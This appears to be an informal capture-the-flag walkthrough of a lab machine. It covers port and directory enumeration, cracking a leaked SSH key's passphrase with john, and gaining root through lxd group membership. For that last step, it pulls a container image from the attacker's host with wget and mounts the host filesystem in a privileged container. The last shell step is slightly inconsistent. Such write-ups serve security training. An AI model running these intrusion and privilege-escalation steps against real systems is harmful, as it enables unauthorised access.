GamingServer

Enumeration
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmafoLXloHrZgpBrYym3Lpsxyn7RI2PmwRwBsj1OqlqiGiD4wE11NQy3KE3Pllc/C0WgLBCAAe+qHh3VqfR7d8uv1MbWx1mvmVxK8l29UH1rNT4mFPI3Xa0xqTZn4Iu5RwXXuM4H9OzDglZas6RIm6Gv+sbD2zPdtvo9zDNj0BJClxxB/SugJFMJ+nYfYHXjQFq+p1xayfo3YIW8tUIXpcEQ2kp74buDmYcsxZBarAXDHNhsEHqVry9I854UWXXCdbHveoJqLV02BVOqN3VOw5e1OMTqRQuUvM5V4iKQIUptFCObpthUqv9HeC/l2EZzJENh+PmaRu14izwhK0mxL
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEaXrFDvKLfEOlKLu6Y8XLGdBuZ2h/sbRwrHtzsyudARPC9et/zwmVaAR9F/QATWM4oIDxpaLhA7yyh8S8m0UOg=
| 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOLrnjg+MVLy+IxVoSmOkAtdmtSWG0JzsWVDV2XvNwrY
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[Status: 200, Size: 2762, Words: 241, Lines: 78]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
index.html [Status: 200, Size: 2762, Words: 241, Lines: 78]
robots.txt [Status: 200, Size: 33, Words: 3, Lines: 4]
secret [Status: 301, Size: 315, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
uploads [Status: 301, Size: 316, Words: 20, Lines: 10]
Heh another ctf in the gaming theme…looks like a RPG
uploads got us files
dict.lst is obviously a dictionary for cracking
meme.jpg is…well a meme
manifesto.txt is a mad long text…and I read it…and damn it’s full of…
things people may relate to
well…Its a manifesto
And in the /secret dir we get an rsa key
First I want to get steganography out of the way…and yes there was nothing there
Do you people remember how we always insist on checking source code?
</body>
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
</html>
Now we know john
ok we can try to ssh now…
└──╼ $chmod 600 secretKey
└──╼ $ssh john@10.10.89.54 -i secretKey
Enter passphrase for key 'secretKey':
Who didn’t expect that? why would they give you a dictionary bro?
└──╼ $python2 /usr/share/john/ssh2john.py secretKey > secretkey.john
└──╼ $john secretkey.john -w=dict.lst
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (secretKey)
1g 0:00:00:01 DONE (2021-12-02 13:26) 0.9345g/s 208.4p/s 208.4c/s 208.4C/s baseball
Session completed
Try again now and you got your user flag
john@exploitable:~$ cat user.txt
level_one_flag
Privilege Escalation
upgrades people! upgrades!!
we cannot sudo -l so we need more enumeration
john@exploitable:~$ ls -al
total 60
drwxr-xr-x 8 john john 4096 Jul 27 2020 .
drwxr-xr-x 3 root root 4096 Feb 5 2020 ..
lrwxrwxrwx 1 john john 9 Jul 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 john john 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 john john 3771 Apr 4 2018 .bashrc
drwx------ 2 john john 4096 Feb 5 2020 .cache
drwxr-x--- 3 john john 4096 Jul 27 2020 .config
drwx------ 3 john john 4096 Feb 5 2020 .gnupg
drwxrwxr-x 3 john john 4096 Jul 27 2020 .local
-rw-r--r-- 1 john john 807 Apr 4 2018 .profile
drwx------ 2 john john 4096 Feb 5 2020 .ssh
-rw-r--r-- 1 john john 0 Feb 5 2020 .sudo_as_admin_successful
drwxr-xr-x 2 root root 4096 Feb 5 2020 .vim
-rw------- 1 root root 12070 Jul 27 2020 .viminfo
-rw-rw-r-- 1 john john 33 Feb 5 2020 user.txt
yeah nothing here
john@exploitable:~$ find / -perm -u=s 2> /dev/null
/bin/mount
/bin/umount
/bin/su
/bin/fusermount
/bin/ping
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/newuidmap
hmmm….should we use linenum?
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Add “always checking groups with id” to privesc enum process
Google lxd privilege escalation for more information
Seriously if it sounds easy you better check here and you might end up here
and here XD
I had issues with alpine-builder
Downloading apk-tools-static-2.12.7-r3.apk
tar: Le mot clé inconnu « APK-TOOLS.checksum.SHA1 » pour l'en-tête étendu a été ignoré
tar: Le mot clé inconnu « APK-TOOLS.checksum.SHA1 » pour l'en-tête étendu a été ignoré
ERROR: checksum is missing for alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub
Failed to download a valid static apk
So I had to use distrobuilder
Next we fire up a python server in build folder
Then grab the files on target machine
john@exploitable:/tmp$ wget http://10.8.226.203/lxd.tar.xz
--2021-12-02 18:21:12-- http://10.8.226.203/lxd.tar.xz
Connecting to 10.8.226.203:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 424 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[========================================================================================================================================>] 424 --.-KB/s in 0s
2021-12-02 18:21:14 (71.3 MB/s) - ‘lxd.tar.xz’ saved [424/424]
john@exploitable:/tmp$ wget http://10.8.226.203/rootfs.squashfs
--2021-12-02 18:21:34-- http://10.8.226.203/rootfs.squashfs
Connecting to 10.8.226.203:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1798144 (1.7M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[========================================================================================================================================>] 1.71M 49.1KB/s in 32s
2021-12-02 18:22:06 (54.8 KB/s) - ‘rootfs.squashfs’ saved [1798144/1798144]
Import the image on target machine as mymnimal
john@exploitable:/tmp$ lxc image import --alias myminimal lxd.tar.xz rootfs.squashfs
Image imported with fingerprint: 3fd9f575e8312f2df6490e37cce8bdec46a378e73d4fd75fe18ff5c3b7479c70
launch it
john@exploitable:/tmp$ lxc launch myminimal mycontainer
Creating mycontainer
Starting mycontainer
check it
john@exploitable:/tmp$ lxc list mycontainer
+-------------+---------+------+-----------------------------------------------+------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-------------+---------+------+-----------------------------------------------+------------+-----------+
| mycontainer | RUNNING | | fd42:2998:1e63:3d6f:216:3eff:fe24:9e2d (eth0) | PERSISTENT | 0 |
+-------------+---------+------+-----------------------------------------------+------------+-----------+
create a new container with right privileges
john@exploitable:/tmp$ lxc init myminimal ignite -c security.privileged=true
Creating ignite
Mount the / folder in the container and start it
john@exploitable:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
john@exploitable:/tmp$ lxc start ignite
john@exploitable:/tmp$ lxc exec ignite /bin/sh
Get a root shell in that
john@exploitable:/tmp$ lxc exec mycontainer -- sh
~ # id
uid=0(root) gid=0(root)
Go grab the flags where they are
~ # cd /mnt/root
/mnt/root # ls
bin cdrom etc initrd.img lib lost+found mnt proc run snap swap.img tmp var vmlinuz.old
boot dev home initrd.img.old lib64 media opt root sbin srv sys usr vmlinuz
/mnt/root # cd root
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt
lxd_final_boss_flag
Game Over…you win!